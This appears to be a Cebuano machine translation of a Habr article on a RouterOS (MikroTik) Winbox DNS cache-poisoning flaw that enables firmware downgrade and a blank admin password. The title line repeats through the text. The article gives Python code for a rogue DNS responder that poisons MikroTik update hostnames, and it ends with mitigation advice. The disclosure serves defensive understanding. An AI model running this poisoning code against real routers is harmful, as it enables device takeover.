Ang Pagkahuyang sa Backport sa RouterOS Naghulga sa Gatusan ka Libo nga mga Device

Ang Pagkahuyang sa Backport sa RouterOS Naghulga sa Gatusan ka Libo nga mga Device

Ang katakus sa pag-downgrade sa layo nga mga aparato base sa RouterOS (Mikrotik) nagpameligro sa gatusan ka libo nga mga aparato sa network. Ang pagkahuyang nalangkit sa pagkahilo sa DNS cache sa Winbox protocol ug nagtugot kanimo sa pag-download sa wala na sa panahon (nga adunay default nga pag-reset sa password) o giusab nga firmware sa device.

Ang Pagkahuyang sa Backport sa RouterOS Naghulga sa Gatusan ka Libo nga mga Device

Mga detalye sa pagkahuyang

Gisuportahan sa terminal sa RouterOS ang mando sa pagsulbad alang sa pagpangita sa DNS.

Ang Pagkahuyang sa Backport sa RouterOS Naghulga sa Gatusan ka Libo nga mga Device

Kini nga hangyo gidumala sa usa ka binary nga ginganlan nga solver. Ang Resolver usa sa daghang binary nga konektado sa Winbox protocol sa RouterOS. Sa taas nga lebel, ang "mga mensahe" nga gipadala sa usa ka pantalan sa Winbox mahimong madala sa lainlaing mga binary sa RouterOS base sa laraw sa pag-numero nga gibase sa array.

Ang bahin sa DNS server gi-disable pinaagi sa default sa RouterOS.

Ang Pagkahuyang sa Backport sa RouterOS Naghulga sa Gatusan ka Libo nga mga Device

Bisan pa, bisan kung ang function sa server na-disable, ang router nagmintinar sa kaugalingon nga DNS cache.

Ang Pagkahuyang sa Backport sa RouterOS Naghulga sa Gatusan ka Libo nga mga Device

Kung maghimo kami usa ka hangyo gamit ang winbox_dns_request sama sa example.com, ang router mag-cache sa resulta.

Ang Pagkahuyang sa Backport sa RouterOS Naghulga sa Gatusan ka Libo nga mga Device

Tungod kay mahimo natong ipiho ang DNS server diin ang hangyo kinahanglan nga moadto, kini walay hinungdan sa pagsulod sa sayop nga mga adres. Pananglitan, mahimo nimong i-configure ang pagpatuman sa DNS server gikan sa Philip Claussa kanunay pagtubag sa usa ka A rekord nga adunay IP address 192.168.88.250.

def dns_response(data):
    request = DNSRecord.parse(data)
    reply = DNSRecord(DNSHeader(
        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
    qname = request.q.qname
    qn = str(qname)
    reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
    print("---- Reply:n", reply)
    return reply.pack()

Karon kung mogamit ka sa Winbox aron pangitaon ang example.com, imong makita nga ang DNS cache sa router nahilo.

Ang Pagkahuyang sa Backport sa RouterOS Naghulga sa Gatusan ka Libo nga mga Device

Siyempre, ang pagkahilo sa example.com dili kaayo mapuslanon, tungod kay ang router dili gayud mogamit niini. Bisan pa, ang router kinahanglan nga maka-access sa upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com ug download.mikrotik.com. Ug salamat sa lain nga sayup, posible nga makahilo silang tanan sa usa ka higayon.

def dns_response(data):
    request = DNSRecord.parse(data)
    reply = DNSRecord(DNSHeader(
        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
    qname = request.q.qname
    qn = str(qname)
    reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
    reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("download.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    print("---- Reply:n", reply)
    return reply.pack()

Ang router nangayo og usa ka grant, ug naghatag kami og lima ka balik. Ang router sayop nga nag-cache sa tanan niini nga mga tubag.

Ang Pagkahuyang sa Backport sa RouterOS Naghulga sa Gatusan ka Libo nga mga Device

Dayag, kini nga pag-atake mapuslanon usab kung ang router naglihok ingon usa ka DNS server, tungod kay gitugotan niini ang pag-atake sa mga kliyente sa router.

Usab, kini nga pag-atake nagtugot sa pagpahimulos sa usa ka mas seryoso nga kahuyang: pag-downgrade o pag-backport sa bersyon sa RouterOS. Gibuhat pag-usab sa tig-atake ang logic sa pag-update sa server, lakip ang changelog, ug gipugos ang RouterOS nga dawaton ang karaan (bulnerable) nga bersyon ingon nga labing bag-o. Ang kapeligrohan dinhi naa sa kamatuoran nga kung imong "pag-upgrade" ang bersyon, ang password sa tagdumala gi-reset sa "default" nga kantidad - ang usa ka tig-atake mahimong maka-log in gamit ang usa ka blangko nga password!


Ang pag-atake maayo kaayo, bisan pa sa kamatuoran nga tagsulat nagpatuman sa daghang mga vector nga may kalabutan, taliwala sa uban pang mga butang, sa pag-embed sa usa ka backdoor sa firmware, apan kini usa na ka sobra nga teknolohiya ug ang paggamit niini alang sa dili lehitimong katuyoan ilegal.

sa pagpanalipod sa

Ang pag-disable lang sa Winbox makatabang sa pagpanalipod batok niini nga mga pag-atake. Bisan pa sa kasayon ​​​​sa pagdumala pinaagi sa Winbox, mas maayo nga gamiton ang SSH protocol.

Source: www.habr.com

Idugang sa usa ka comment